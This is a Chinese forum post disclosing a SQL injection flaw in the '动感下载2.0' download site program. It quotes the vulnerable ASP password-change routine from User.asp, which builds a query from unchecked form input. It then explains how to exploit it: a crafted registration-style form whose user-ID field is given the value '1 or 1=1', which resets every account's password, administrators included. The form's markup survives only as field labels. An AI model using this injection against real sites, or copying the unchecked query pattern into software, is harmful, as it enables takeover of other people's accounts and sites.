返回列表 发帖

赢政天下(动感下载2.0)漏洞

一、废话 ***************** 此下载程序应用极为广泛,而且都是一些比较大型的专业下载所使用,例如:赢政天下,天天精品 都是使用此程序,所以安全性一定要做好。 此篇文章只是浅析一下漏洞的所在,和漏洞的利用方法,大家不要随意攻击别人网站的,此行为属于 违反行为! 二、甜言蜜语 ***************** 首先对程序进行全部的分析了,结果发现在User.asp中存在未对modfiy函数作用户验证,代码如下: sub modfiy() ==========================保存修改================================ set rs=server.createobject("adodb.recordset") sql="select * from Admin_UserInfo where UserName="&UserName&" and UserID="&request.form("UserID")&" and CategoryName="&CategoryName&"" rs.open sql,conn,1,3 msgtitle="修改信息" if not(rs.eof and rs.bof) then rs("PassWord")=md5(Checkstr(Trim(Request.Form("PassWord")))) rs("Email")=Trim(Request.Form("Email")) rs.update msginfo="
  • 修改成功!
  • 登录系统

  • 返回首页
  • " else msginfo="
  • 修改失败!
  • " end if rs.close set rs=nothing call Sysmsg(msgtitle,msginfo) end sub 所以我们可以修改管理员密码 三、幸福工作 以下我提供出一段代码,构造一个网页提交修改,代码如下:
    用户注册
    用户id: *
    (2-12位 数字、大小字字母、“_”或者“-”)
    用户名: *
    (2-12位 数字、大小字字母、“_”或者“-”)
    密 码: *
    密码问题: *
    忘记密码的提示问题
    密码答案: *
    忘记密码的提示问题答案,用于取回用户密码
    真实姓名: *
    邮箱地址: *
    联系 QQ:
    联系地址: *
    联系电话: *
    然后在用户id那儿填写 1 or 1=1 添上密码,所有用户的密码都被修改成你的密码了 还有很多好方法,就不多一一举例子了,你可以按照以上形式进行测试。

    赢政天下(动感下载2.0)漏洞


    小路写的
    请记住,拿别人帖子的时候请用上转贴

    TOP

    返回列表 回复 发帖